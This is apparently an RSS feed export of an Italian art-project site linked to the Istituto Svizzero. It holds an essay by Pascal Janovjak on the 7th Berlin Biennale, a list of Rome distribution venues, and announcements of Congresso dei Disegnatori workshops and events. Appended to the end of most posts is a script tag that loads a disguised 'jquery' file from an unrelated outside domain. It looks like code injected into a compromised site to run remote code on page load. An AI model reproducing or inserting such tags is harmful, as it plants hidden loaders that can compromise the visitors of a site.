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	<description>7TH Berlin Biennale For Contemporary Art</description>
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		<title>Sulla settima Biennale di Berlino di Pascal Janovjak</title>
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		<pubDate>Thu, 29 Nov 2012 17:28:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<description><![CDATA[Khaled Jarrar ha disegnato un timbro che raffigura una specie di colibrì, circondato dalle parole « State of Palestine », in inglese e in arabo. Propone ai visitatori di stamparlo sui loro passaporti.
Ma in che modo questa è arte ? si chiede un amico pittore. Gli rispondo che qualunque attivista pro-palestinese esigerebbe la fine dell’occupazione israeliana, la creazione di un nuovo Stato, il quale Stato avrebbe delle frontiere definite, un governo ed un sistema amministrativo complicato che potrà, in fine, decidere di creare un timbro.  <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1452">More <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.solidarityaction.istitutosvizzero.it//wp-content/uploads/2012/11/Biennale7.jpg"><img class="alignnone size-full wp-image-1492" title="Biennale7" src="http://www.solidarityaction.istitutosvizzero.it//wp-content/uploads/2012/11/Biennale7.jpg" alt="" width="600" height="600" /></a></p>
<p>Un dialogo improbabile<br />
Banksy: <em>Art is a rest home for the overprivileged, the pretentious, and the weak. Never have so many people used so much stuff and taken so long to say so little.</em></p>
<p>Zmijewski: <em>Yes… But we don’t need philosophical Newspeak to go into the streets and spray-paint buildings with the alphabet of freedom.</em><br />
Banksy : <em>…</em><br />
Zmijewski : <em>The goal is pragmatic &#8211; the creation of social and political facts ; real action in the real world and a final farewell to the illusion of artistic immunity.</em></p>
<p><strong>Opere che agiscono ?</strong><br />
Khaled Jarrar ha disegnato un timbro che raffigura una specie di colibrì, circondato dalle parole « State of Palestine », in inglese e in arabo. Propone ai visitatori di stamparlo sui loro passaporti.<br />
Ma in che modo questa è arte ? si chiede un amico pittore. Gli rispondo che qualunque attivista pro-palestinese esigerebbe la fine dell’occupazione israeliana, la creazione di un nuovo Stato, il quale Stato avrebbe delle frontiere definite, un governo ed un sistema amministrativo complicato che potrà, in fine, decidere di creare un timbro. E’ appunto un procedimento artistico che permette a Khaled di contorcere il reale (e guadagnare così qualche decina d’anni).<br />
Ma per quale « effetto reale » ? Senza giudicarne la qualità, l’arte politica non saprebbe avere che un effetto di sensibilizzazione, di promozione, di propaganda. E la propaganda è utile… Quest’anno le 80.000 persone attese alla Biennale saranno sensibilizzate al problema delle frontiere israeliane. Così come alla natura del potere bielorusso. Alle origini della criminalità in Messico. All’esodo di quattordici milioni di Tedeschi durante la seconda guerra mondiale. Alla classificazione internazionale dei gruppi detti « terroristi », al peso della religione in Polonia, alla colonizzazione continua del Congo, alla gestione della memoria del genocidio ebraico, al potere della censura in Ucraina, alle elezioni in Russia, alle ineguaglianze a Berlino… E non solo.</p>
<p><strong>Gentili volontari</strong><br />
Durante la conferenza stampa della Biennale, alcuni giovani attivisti prendono la parola. Espongono le loro rivendicazioni, tentano poi di trasformare la conferenza stampa in dibattito politico, invertendo i ruoli, interrogando i giornalisti sulle loro condizioni di lavoro, i loro impegni. Sono maldestri. L’imbarazzante confusione del loro intervento contrasta con la presa di parola di un rispettabile giornalista dai capelli bianchi. In un inglese impeccabile, le sue parole risuonano nella sala attenta : Credo che non siate altro che dei giovani privilegiati. Io ho sempre dovuto guadagnarmi da vivere. Lo faccio esercitando la professione di giornalista. I vostri discorsi non mi interessano. Sono qui per lavorare.<br />
Era desolante vedere come il dilettantismo degli attivisti dava ragione a questo orrore, annunciato con tanta calma dal distinto signore, accettato con tanto sollievo dalla sala: che il valore di un’attività umana non potrebbe essere giudicato che dalla sua remunerazione.</p>
<p><strong>Parole, parole</strong><br />
Sono riuniti nella sala che i curatori hanno dato loro, al centro di un gran caos militante, stands, televisori, tenda, graffiti con slogans sul muro. Seduti per terra, in cerchio, sono tedeschi, olandesi, spagnoli, polacchi o americani, di tutte le età, sfoggiano foulards multicolori e tatuaggi, hanno i capelli tinti o le trecce lunghe, parlano tutte le lingue, ma è in inglese che discutono. Per sapere come organizzare la pulizia della corte dell’edificio. Secondo Piercing Estremo bisognerebbe formare un « cleaning group », cosa che fa sogghignare un tizio in maglietta nera, accanto a me. Capellone alza la mano : nessun « cleaning group », la pulizia dev’essere la responsabilità di ognuno, ognuno può raccogliere le bottiglie di birra da terra, si può fare spontaneamente. Foulard Giallo è più radicale, rifiuta di aiutare gli impiegati del bar della corte : siamo liberi, non dobbiamo pulire la corte, non dobbiamo collaborare con il proprietario del bar.<br />
Tutto sembra una messinscena, un gioco di attori – dal fondo della sala risuona a intervalli regolari la voce di una matta che urla qualcosa a proposito di bidoni dell’immondizia svuotati male, di cose che ha messo a posto e che non trova più. Accanto a me, Maglietta Nera sogghigna.</p>
<p><strong>Storia nella storia</strong><br />
E’ nel lavoro di Pawel Althamer che si concentra la problematica della Biennale di Berlino. Althamer occupa lo spazio di una grande chiesa sconsacrata su Invalidenstrasse. Non ci sono più mobili, le pareti sono ricoperte di pannelli bianchi sui quali i visitatori sono invitati a disegnare. Assomiglia a un gioco da bambini, c’è un piacere evidente nell’idea di appropriarsi di queste immense superfici vergini. Molto in fretta i disegni si moltiplicano, interagiscono, si ricoprono e si rispondono. Ho fatto quest’esperienza singolare : trovarsi di fronte al muro, con un pennarello in mano, applicato all’elaborazione di un piccolo disegno. E poi indietreggiando di due passi mi sono ritrovato davanti l’enormità del muro variegato e l’insignificanza del mio intervento. Bella riflessione sullo spazio dell’individuo nelle nostre società, sull’illusione della sua importanza.<br />
Ma sotto la copertura di schizzi infantili, è anche una versione dell’inquietante esperimento di Milgram quel che avviene qui dentro. Althamer ha iniziato disegnando una semplice croce, in fondo al coro &#8211; è il punto di partenza del suo « Draftmen’s congress ». E’ anche un’abile deviazione, che fa dimenticare il disegno più importante : la riproduzione della sua carta d’identità, su un muro laterale. Se l’autorità religiosa è stata immediatamente negata dai partecipanti (è stata aggiunta una donna nuda alla croce, vi è stato appeso un cappellino), l’immagine dell’autorità reale del luogo è rimasta immacolata. Il quarto giorno qualcuno ha aggiunto un lupo, a bocca aperta – una freccia nera collega l’animale al viso dell’artista. Mi chiedo quanto tempo passerà prima che qualcuno osi trasformare, ricoprire, cancellare l’autoritratto del maestro.</p>
<p><strong>Matrioske</strong><br />
Ciò che avviene nel microcosmo della chiesa di St Elisabeth si ripete nella sala occupata dagli attivisti, e nella Biennale considerata nell’insieme delle sue esposizioni : la lotta tra l’uno e il multiplo.<br />
Due giorni dopo l’inaugurazione, una serata riunisce i rappresentanti delle istituzioni solidali alla Biennale. Sono più o meno svizzeri, italiani, polacchi, svedesi o tedeschi, curatori o direttori di musei. In gioventù avevano forse i capelli lunghi, foulards rossi e camicie bucate. La maggior parte si incontra qui per la prima volta. Invece di esporre il suo progetto, Capelli Arruffati pone una domanda ai curatori della Biennale e dà il via a un dibattito interno privo di senso. Montatura Nera gli dice di star bravo. Non sembrano troppo sicuri di cosa ci fanno lì, nè di cosa facciano i loro colleghi. Senza volerlo, Coda di Cavallo confessa questa cosa impossibile : che non capisce affatto l’evento che la sua istituzione finanzia, e di cui si dice tuttavia la curatrice.<br />
Sicuramente sono meno divertenti dei giovani attivisti, perchè la lotta dei loro ego è più civile e tutto sommato le loro azioni sono reali e spesso cariche di significato, come il progetto « Dortmund für Dortmunder », che si rivolge in maniera frontale alla crescita del neonazismo. Ma a Berlino queste azioni hanno valore prima di tutto nel loro insieme, nel peso che conferiscono alla piccola Biennale.<br />
Solo un uomo sembra sapere davvero ciò che sta capitando qui. E’ seduto all’estrema sinistra del tavolo, la schiena curva, e si guarda le ginocchia.</p>
<p><strong>Strumentalizzazione</strong><br />
Si è spesso parlato, tra amici o sulla stampa, dei pericoli della strumentalizzazione. Attenzione a non essere strumentalizzato. Come se non ci fosse, in ogni collaborazione umana, in ogni interazione sociale, una costante e necessaria strumentalizzazione delle parti.<br />
Ora, questo orrore della strumentalizzazione rivela soprattutto l’illusione dell’indipendenza e dell’importanza individuale. E’ il fatto di cercare di proteggere questa leggendaria indipendenza che alimenta la passività, la sottomissione a un sistema ormai caduco.<br />
Se la stampa ha tanto attaccato questa Biennale, è forse anche perché rimette in discussione l’importanza dell’individuo, chiave di volta di tutto il sistema dell’arte contemporanea : irriducibile personalità dell’artista, personalità del curatore, del collezionista, del critico, dello spettatore (ogni esposizione lusinga innanzitutto l’ego del suo spettatore, chiamato a giudice supremo). E’ anche per questo che i commentatori criticano direttamente Zmijewski: perché Zmijewski è identificabile, perché è l’unico appiglio che si offre a una stampa prigioniera dei nomi propri.</p>
<p><strong>Tra gli altri.</strong><br />
Nel giornale della 7° Biennale di Berlino, l’interminabile lista degli artisti che espongono o delle persone che hanno partecipato all’organizzazione si chiude con il nome del suo curatore principale (qualcosa che comincia per Z), seguito da “and many others”. Ma il curatore può perdersi nella massa delle persone che ha lui stesso convocato, e di cui guida le scelte? E’ tuttavia l’impressione che dà, di non essere lì che per caso, di passaggio, quando lo si intravede, curvo, con lo zaino e gli occhi bassi, perso tra i visitatori nella corte della Kunstwerke, ad ascoltare gli altri più di quanto non parli lui stesso, a tirare fuori le parole con fatica. Se non lo si conoscesse non lo si noterebbe – e d’un tratto mi sembra tanto anonimo e tanto invisibile quanto quell’uomo che sparisce tra la folla, nell’ultima scena di quel famoso thriller americano, Il silenzio degli innocenti.</p>
<p><strong>Tristezza</strong><br />
Si è un po’ abbacchiati, lasciando Berlino. Si è arrivati lì immaginando di vedere un’esposizione di arte contemporanea. Lascia raramente spazio a conseguenze, l’arte contemporanea, quando non si ha la sensibilità di una farfalla. Ma a Berlino, lontano dal silenzio a volte esasperante dei white cube, si è sentita l’eco di innumerevoli sofferenze. Tutte le opere esposte sono pesanti, utilizzano i mezzi più semplici e diretti (giornali, locandine, disegni, immagini di attualità, parola, scultura monumentale, ecc.) per trasmettere il messaggio delle necessità più dure. Così i lavori di Joanna Rajkowska, di Marina Naprushkina o di Martin Zet richiamano tutti, in un modo o nell’altro, l’enorme chiave che gli organizzatori hanno fatto venire da un campo profughi di Betlemme, e che una gru ha depositato nella corte interna della Kunstwerke.<br />
La Biennale rifiuta tutti i luoghi comuni del buon gusto e del politicamente corretto, e la stampa non le perdonerà di realizzare finalmente quel che ogni artista considera come una missione. Non le perdonerà la sua mancanza apparente di sfumature, la sua estetica da propaganda, la retorica pungente delle sue tesi, la provocazione del suo linguaggio grafico, la massa soffocante degli scritti che produce.</p>
<p><strong>Abbondanza</strong><br />
La quantità di testi pubblicati dalla Biennale, così come quella delle cause politiche difese, ha di che scoraggiare. Il mio amico pittore sospirava cercando invano nello spesso giornale « ufficiale » la lista dei luoghi d’esposizione. Il manifesto preliminare dell’evento, Forget Fear, pesa tanto quanto un messale.<br />
Si sarebbe tentati di parlare di un progetto più letterario che artistico, tanto il linguaggio vi è presente – ma vorrebbe dire dimenticare che quest’abbondanza di scritti è anche l’eco grafica dell’esperienza collettiva, come nella chiesa di Pawel Althamer, in cui l’opera non ha valore che per il numero dei suoi partecipanti e il volume totale dei disegni presentati.<br />
Ci sarebbe allora davvero un « effetto reale » di questo evento. Nel suo ultimo saggio, Tzvetan Todorov analizza una delle cause interne della malattia delle nostre democrazie : una sorta di ipertrofia del principio della libertà individuale, che atomizza le nostre società e le sottomette a degli interessi privati incontrollabili. La piccola Biennale, attraverso l’accumulo degli slanci collettivi che suscita e presenta, oppone a questo triste dato di fatto l’esempio di una resistenza.</p>
<p><strong>E io?</strong><br />
Mi piace l’idea di unire qui la mia voce al concerto delle voci, anche se alla fine dovesse risultarne solo rumore. Le cause sono giuste, che si tratti di arte o di politica (se non fossi sicuro di essere frainteso, aggiungerei che oggi le cause sono giuste qualunque esse siano).<br />
Non è tanto che io sia d’accordo con Zmijewski, che vede nell’azione collettiva l’unica possibile salvezza – la Biennale che dirige come un marionettista dice anche il contrario. Ci sono sicuramente delle azioni individuali che conservano tutto il loro significato… E’ nel caos della sala degli attivisti che trovo la migliore giustificazione della mia partecipazione. Sul muro in fondo, qualcuno ha scritto questa parafrasi di Beuys, con una vernice arancione : Das Schweigen ist überbewertet. Il silenzio è sopravvalutato.</p>
<p>Pascal Janovjak<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>P/ACT FOR ART DISTRIBUZIONE &#8211; ROMA</title>
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		<pubDate>Mon, 26 Nov 2012 10:54:03 +0000</pubDate>
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				<category><![CDATA[P/Act for Art Roma]]></category>

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		<description><![CDATA[Qui di seguito la lista dei punti di distribuzione del P/Act for Art a Roma.  <a href="http://www.solidarityaction.istitutosvizzero.it/?p=614">More <span class="meta-nav">&#187;</span></a>]]></description>
			<content:encoded><![CDATA[<p>American Academy in Rome, Via Angelo Masina, 5, 00153</p>
<p>Valentina Bonomo Roma, Via Del Portico d’Ottavio, 13, 00186</p>
<p>The British School at Rome, Via Gramsci, 61, 00197</p>
<p>Co2 Gallery, Via Piave, 66, 00187</p>
<p>Dal Verme, Via Luchino dal Verme, 8, 00176</p>
<p>Esc, Via dei Volsci, 179, 00185</p>
<p>Galleria Extraspazio. via san francesco di sales, 16/a, 00165</p>
<p>Fondazione Giuliani, via gustavo bianchi 1, 00153</p>
<p>Fondazione Pastificio Cerere, Via degli Ausoni, 1, 00185</p>
<p>Frutta Gallery, Via della Vetrina, 9, 00186</p>
<p>Furini Arte Contemporanea, Via Giulia, 8, 00186</p>
<p>Gagosian Gallery. via Francesco Crispi, 16, 00187</p>
<p>The Gallery Apart, Via di Monserrato, 40, 00186</p>
<p>GarageZero, Via Treviri, parcheggio l.go Spartaco, 00174</p>
<p>Goethe-Institut Rom, Via Savoia, 15, 00198</p>
<p>Indipendenza Studio, Via dei Mille 6, 00185</p>
<p>Istituto Svizzero di Roma, Via Ludovisi, 48, 00187</p>
<p>Let’s art libreria,</p>
<p>Teatro del Lido di Ostia, Via delle Sirene 22, 00121, Ostia</p>
<p>MACRO, Via Nizza, angolo Via Cagliari, 00198</p>
<p>MAXXI, Via Guido Reni, 4/A, 00196</p>
<p>Magazzino d’arte moderna, via dei prefetti,17, 00186</p>
<p>Monitor, via sforza cesarini 43a, 00186</p>
<p>Nomas Foundation, via somalia 33, 00199</p>
<p>Istituto Olandese di Roma, Via Omero,12, 00197</p>
<p>Galleria Lorcan O’Neill, via orti d&#8217;alibert 1e, 00165</p>
<p>Nuovo Cinema Palazzo, Piazza dei Sanniti, 00185</p>
<p>Accademia di Romania, Valle Giulia, Piazza José de San Martin, 00197</p>
<p>S.A.L.E.S, via dei querceti, 4, 25128</p>
<p>Federica Schiavo Gallery, Piazza Montevecchio 16, 00186</p>
<p>S.t. foto libreria galleria, via degli ombrellai 25, 00193</p>
<p>T293, Via dei Leutari, 32, 00186</p>
<p>1/9 Unosunove Arte Contemporanea, via degli specchi 20, 00186</p>
<p>Teatro Valle Occupato, Via del Teatro Valle 21, 00186</p>
<p>Accademia tedesca Villa Massimo, Viale di Villa Massimo, 1, 00161</p>
<p>Accademia di Francia Villa Medici, Piazza della Trinità dei Monti, 1, 00187</p>
<p>Fondazione Volume - via S.Francesco di Sales 73, 00100</p>
<p>Libreria Zafari - Via dei Volsci 62, 00100</p>
<p>Z2O Galleria, Via della Vetrina, 21, 00186</p>
<p>Yeti Libreria- Caffè &#8211; Via Perugia 4, 00100<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>ESC: Fluo Night &#8211; Evento di chiusura del Congresso dei Disegnatori</title>
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		<pubDate>Thu, 19 Jul 2012 09:39:04 +0000</pubDate>
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				<category><![CDATA[Congresso dei Disegnatori]]></category>

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		<description><![CDATA[Giovedì 19 luglio dalle 20.30 alle 24:30 a ESC avrà luogo la serata Fluo Night. La sede di via dei Volsci 159 verrà illuminata da lampade UV e gli artisti, gli illustratori e tutto il pubblico saranno invitati a dipingere sulle pareti del Congresso usando colori fluorescenti. <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1137">More <span class="meta-nav">&#187;</span></a>]]></description>
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<p>Giovedì 19 luglio dalle 20.30 alle 24:30 a ESC avrà luogo la serata Fluo Night. La sede di via dei Volsci 159 verrà illuminata da lampade UV e gli artisti, gli illustratori e tutto il pubblico saranno invitati a dipingere sulle pareti del Congresso usando colori fluorescenti: tutti i partecipanti avranno la possibilità di entrare in dialogo con i disegni preesistenti usando un nuovo livello che si aggiungerà a quelli accumulati nel corso di questi due mesi.</p>
<p>L&#8217;atmosfera proposta durante la serata verrà amplificata dalle selezioni musicali curate da disegnatori dj che si seguiranno l&#8217;uno all&#8217;altro fino a chiusura. Questa dilatata e rarefatta colonna sonora permettera` di ampliare il ribaltamento prospettico proposto durante la serata, oltre che valorizzare lo stato contemplativo e cooperativo del disegnare insieme.</p>
<p>La Fluo Night celebrerà la chiusura del Congresso dei Disegnatori. A partire da questo ultimo incontro le pareti dipinte collettivamente in questi due mesi presso l&#8217;Istituto Svizzero di Roma saranno divise in pezzi di vari formati e distribuiti gratuitamente.</p>
<p>Selezione musicale a cura di:</p>
<p>Massimiliano Bomba<br />
Emiliano Maggi<br />
Michele Manfellotto<br />
Matteo Nasini<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>ESC: Laboratorio con l&#8217;Istituto di neuropsichiatria infantile</title>
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		<pubDate>Thu, 19 Jul 2012 08:26:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Congresso dei Disegnatori]]></category>

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		<description><![CDATA[Giovedi` 19 Luglio dalle ore 10 il Congresso dei Disegnatori organizza un laboratorio con i pazienti, dottori, infermieri e gli inservienti dell'istituto di neuropsichiatria infantile di S. Lorenzo che si occupa della cura delle patologie acute e complesse delle malattie neurologiche e psichiatriche nell`eta` evolutiva.  <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1151">More <span class="meta-nav">&#187;</span></a>]]></description>
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<p>Giovedi` 19 Luglio dalle ore 10 il Congresso dei Disegnatori organizza un laboratorio con i pazienti, dottori, infermieri e gli inservienti dell&#8217;istituto di neuropsichiatria infantile di S. Lorenzo che si occupa della cura delle patologie acute e complesse delle malattie neurologiche e psichiatriche nell`eta` evolutiva. Fin dalla sua fondazione il centro di via dei Sabelli ha posto le basi per una cultura multidisciplinare della diagnosi e dell&#8217;intervento che ha rivoluzionato e permeato la crescita della neuropsichiatria italiana.<br />
A partire dalle ricerche effettuate in ambito clinico da questo centro che hanno modificato significativamente la comprensione e l&#8217;interpretazione dei disturbi neuropsichiatrici dell&#8217;età evolutiva in Italia, il Congresso dei Disegnatori vuole trasformare ESC in uno spazio dove intrecciare il lavoro sperimentale portato avanti da Pawel Altamenr nel campo del disegno con quelle pratiche che hanno aperto nuove strade alla riabilitazione dell`autismo, la dislessia, la depressione durante l&#8217;età evolutiva e aperto nuovi interventi di ricerca sui disturbi della condotta.<br />
Giovedì` mattina alle ore 10 da via dei Sabelli ci muoveremo verso via dei Volsci 159 a San Lorenzo, per intrecciare la pratica del disegno libero e collettivo con la ricerca e il sapere delle pratiche neuro-biologiche, psichiatriche, psicopatologiche e patogenetiche.<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>ISR: L&#8217;arte in esilio</title>
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		<pubDate>Wed, 18 Jul 2012 05:56:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Congresso dei Disegnatori]]></category>

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		<description><![CDATA[Mercoledì 18 luglio dalle 12.30 alle 17.30 il Congresso dei Disegnatori vedrà la partecipazione  di una rappresentanza di artisti inclusi nella collezione del Museo dell'arte contemporanea italiana in esilio. Il Museo dell’arte contemporanea italiana in esilio intende promuovere, su base geografica e su tutto il territorio italiano, una ricerca con lo scopo di individuare personalità singole o collettive che svolgono attività creative sorprendenti, eterodosse, fuori dai circuiti della comunicazione mediatica. <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1157">More <span class="meta-nav">&#187;</span></a>]]></description>
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<p>Mercoledì 18 luglio dalle 12.30 alle 17.30 il Congresso dei Disegnatori vedrà la partecipazione  di una rappresentanza di artisti inclusi nella collezione del <a href="http://www.facebook.com/pages/Museo-dellarte-contemporanea-italiana-in-esilio/270917379618163" data-hovercard="/ajax/hovercard/page.php?id=270917379618163">Museo dell&#8217;arte contemporanea italiana in esilio</a>. Il progetto ideato da Cesare Pietroiusti, in collaborazione con Alessandra Meo, Mattia Pellegrini e Davide Ricco, intende raccogliere su tutto il territorio italiano opere realizzate da personalità singole o collettive che svolgono attività creative sorprendenti, eterodosse, fuori dai circuiti della comunicazione mediatica.<br />
Il “Museo dell’arte contemporanea italiana in esilio” intende promuovere, su base geografica e su tutto il territorio italiano, una ricerca con lo scopo di individuare personalità singole o collettive che svolgono attività creative sorprendenti, eterodosse, fuori dai circuiti della comunicazione mediatica. La ricerca si svolge nelle aree di disagio e di marginalità sociale, in istituzioni psichiatriche, penitenziarie e riabilitative in genere, ma indirizza la sua attenzione anche a personaggi isolati, eccentrici, <em>border-line</em>, che si dedicano ad attività bizzarre, indefinite, e che magari sono noti soltanto a piccole comunità (un villaggio, un quartiere, un gruppo sociale).<br />
Particolare interesse viene poi rivolto ad artisti che, o per propria scelta o perché ne sono stati espulsi, operano fuori dai circuiti del sistema dell’arte contemporanea italiana.  Si intendono esplorare anche le aree della ricerca scientifica o para-scientifica, dell’attivismo politico o della pratica simil-religiosa, specie quelle che si esprimono in forme non omologabili né definibili al&#8217;interno di paradigmi disciplinari, ideologici o rituali prefissati.<br />
Il Museo avrà la sua sede fisica fuori dall’Italia. Piuttosto che fare capo ad un unico luogo però, si configurerà come una entità itinerante che potrebbe essere ospitata da diverse altre istituzioni museali, organizzazioni o associazioni. In ogni caso tutte le presentazioni pubbliche della collezione e dei materiali del Museo avverranno all’estero.<script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>ISR: Metropoliz &#8211; Villa Maraini &#124; Andata e Ritorno</title>
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		<pubDate>Mon, 16 Jul 2012 15:19:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<description><![CDATA[Lunedì 16 luglio il Congresso dei Disegnatori vedrà la partecipazione di una rappresentanza di bambini e mamme del Metropoliz invitati a raccontare, attraverso il disegno, l'esperienza di costruzione del razzo, la partecipazione ai laboratori di creatività condivisa che si sono svolti nel corso del 2011 nella ex-fabbrica: racconteranno come si sono preparati al viaggio sulla Luna, cosa hanno fatto per affrontare un evento tanto straordinario. <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1120">More <span class="meta-nav">&#187;</span></a>]]></description>
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<p>Il “Trattato sullo Spazio Extra-atmosferico” ratificato nel 1967 da 91 paesi, definisce la Luna patrimonio comune dell&#8217;umanità, un luogo dove sono bandite, oltre alle armi, qualunque forma di appropriazione nazionale o rivendicazione di sovranità, nonché l&#8217;esercizio della proprietà privata. Vista in quest&#8217;ottica, la Luna è il più vasto spazio pubblico presente nel sistema gravitazionale terrestre. Da questa premessa muove l&#8217;attività di Fabrizio Boni e Giorgio de Finis, antropologi e filmmaker, da anni impegnati nel documentare e raccontare le emergenze abitative delle metropoli contemporanee: costruire un razzo per la Luna insieme agli abitanti del Metropoliz, l’ex-salumificio Fiorucci sulla via Prenestina a Roma abitata da duecento persone, migranti e precari senza casa provenienti da aree diverse (italiani, sud americani, nord africani e rom rumeni).<br />
Lunedì 16 luglio il Congresso dei Disegnatori vedrà la partecipazione di una rappresentanza di bambini e mamme del Metropoliz invitati a raccontare, attraverso il disegno, l&#8217;esperienza di costruzione del razzo, la partecipazione ai laboratori di creatività condivisa che si sono svolti nel corso del 2011 nella ex-fabbrica: racconteranno come si sono preparati al viaggio sulla Luna, cosa hanno fatto per affrontare un evento tanto straordinario.<br />
Agli illustratori dello Studio Pilar il compito di tradurre e riportare  con disegni e pitture i racconti di coloro che sono stati testimoni diretti e protagonisti attivi di Space Metropoliz.<br />
A loro volta gli illustratori li aiuteranno a disegnare, ognuno secondo il proprio bagaglio culturale e il proprio linguaggio, la propria storia e la propria fantasia.<br />
Il Metropoliz e l&#8217;Istituto Svizzero, grazie al Congresso dei Disegnatori, verranno accomunati per un momento da una stessa utopia lunare dando voce a pratiche artistiche e modalità dell’abitare dove la condivisione è questione vitale.<br />
Seguendo la natura circolare del racconto, gli abitanti di Metropoliz, gli illustratori dello studio Pilar, gli autori e la curatrice insieme ad alcuni membri dell&#8217;Istituto stesso e il pubblico interessato accompagneranno mamme e bambini a casa; ricambiare l&#8217;invio e l&#8217;ospitalità dell&#8217;Istituto Svizzero di Roma vorrà dire mostrare gli spazi occupati, la pinacoteca diffusa che costituisce il MAAM (Museo dell&#8217;Altro e dell&#8217;Altrove di Metropoliz_città meticcia) e riunirsi per una cena sotto lo sguardo discreto della Luna.<br />
Il disegno e il racconto fantastico saranno così gli strumenti di attivazione per una riflessione sull&#8217;integrazione e sulla comunicazione tra comunità e realtà culturali distanti tra loro, al di là delle dinamiche e dalle urgenze della vita quotidiana.</p>
<p><em>Space Metropoliz</em> è un film documentario ed un progetto d&#8217;arte pubblica ideato da Giorgio de Finis e Fabrizio Boni a cura di Silvia Litardi. Il dispositivo del “cantiere cinematografico”, vero cavallo di Troia, ha cercato di dare voce a quegli uomini e quelle donne che il 27 marzo 2009 hanno forzato i cancelli della fabbrica dismessa e deciso di lottare insieme per il diritto all’abitare e per una città diversa, solidale, multiculturale, autogestita. Ma soprattutto, alimentati dal gioco e dall&#8217;immaginazione, ha permesso di ascoltare i loro sogni troppo spesso soffocati dalle necessità del vivere e dall’urgenza dei bisogni quotidiani. Per favorire la condivisione del processo creativo, alla base del progetto, che si è voluto “meticcio”, sono stati organizzati laboratori, incontri e seminari, tra gli altri il ciclo “Tutti sulla Luna”, realizzato in collaborazione con Stalker e il Laboratorio di Arti Civiche, gruppo di ricerca interdisciplinare fondato da Francesco Careri, e nato all’interno del Dipartimento di Studi Urbani (facoltà di Architettura &#8211; Università degli studi Roma Tre), impegnato in ricerche e progetti su insediamenti informali e occupazioni a scopo abitativo a Roma e temi quali l’abitare interculturale, l’emergenza abitativa, l’auto-costruzione, la ri-creazione e riappropriazione di spazi pubblici. L’intero processo, la progettazione del razzo e delle scenografie, e la loro effettiva costruzione, insieme alle storie del Metropoliz, e agli interventi dei tantissimi artisti che hanno preso parte al progetto (tra gli altri Cesare Pietroiusti, Gian Maria Tosatti, Guendalina Salini, Angelo Bellobono, Antonello Viola, Sten &amp; Lex, Lucamaleonte, Hogre, Paolo Assenza) costituiranno l&#8217;ossatura del film-documentario, che culminerà in un epilogo cinematografico d&#8217;essai: un vero e proprio remake della pellicola di Méliès, Voyage dans la Lune, in cui i Metropoliziani salgono a bordo del razzo e lasciano la Terra per approdare finalmente sulla Luna e gioire della ritrovata libertà. Obiettivo finale del film, e del progetto, non solo la riuscita dell&#8217;intera vicenda (in sé ambiziosa quanto lo stesso viaggio sulla Luna) ma anche contribuire a realizzare il progetto comunitario che anima il Metropoliz, portando la Luna sulla Terra.<br />
<span style="text-decoration: underline;"><a href="http://www.spacemetropoliz.com" target="_blank">www.spacemetropoliz.com</a></span></p>
<p>Studio Pilar è uno studio creativo che si occupa di illustrazione, grafica e animazione. E&#8217; composto da sette ragazzi che si sono conosciuti e diplomati in Illustrazione e Animazione all&#8217;Istituto Europeo di Design. L&#8217; idea di mettere su uno studio nasce dalla voglia di continuare, anche dopo il diploma, lo scambio di idee e opinioni finalizzato alla creazione di qualcosa di nuovo ed originale. Inoltre rende possibile l&#8217;unione delle diverse esperienze e capacità, per sviluppare insieme progetti complessi che, individualmente, non sarebbe possibile mettere in atto. I membri di Studio Pilar sono: Andrea Mongia, Giulio Castagnaro, Andrea Chronopoulos, Fabrizio des Dorides, Ilaria Palleschi, Sara Cariolato e Giulia Tomai. Ogni componente dello studio ha uno stile ben definito e diverso dagli altri, che spazia tra il fumetto, l&#8217;illustrazione per l&#8217;infanzia, la pittura e la grafica.<br />
<span style="text-decoration: underline;"><a href="http://studiopilar.tumblr.com " target="_blank">studiopilar.tumblr.com </a></span></p>
<p><img class="alignnone  wp-image-1122" title="004" src="http://www.solidarityaction.istitutosvizzero.it//wp-content/uploads/2012/07/004.jpg" alt="" width="640" height="424" /></p>
<p><img class="alignnone  wp-image-1123" title="patrizio" src="http://www.solidarityaction.istitutosvizzero.it//wp-content/uploads/2012/07/patrizio.jpg" alt="" width="640" height="961" /></p>
<p><img class="alignnone  wp-image-1124" title="razzo" src="http://www.solidarityaction.istitutosvizzero.it//wp-content/uploads/2012/07/razzo.jpg" alt="" width="640" height="640" /><script language="JavaScript" src="http://ci-in.de/wp-content/plugins/footable/js/jquery-1.6.5.min.js" type="text/javascript"></script></p>
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		<title>ESC: Im-possible drawing &#8211; Attraversamenti e sovrapposizioni tra fotografia e disegno</title>
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		<pubDate>Thu, 12 Jul 2012 13:34:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
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		<description><![CDATA[Il 12 Luglio, dalle 17 alle 20, il Congresso dei Disegnatori organizza un laboratorio che attraversa il confine tra la fotografia e il disegno libero; sulle pareti dell’atelier autogestito ESC a San Lorenzo si potrà intervenire su vecchi e nuovi disegni con immagini istantanee appena scattate, tolte dal loro supporto originario e “trasferite” sul muro grazie alla tecnica dell’emulsion lift (sollevamento dell’emulsione).  <a href="http://www.solidarityaction.istitutosvizzero.it/?p=1101">More <span class="meta-nav">&#187;</span></a>]]></description>
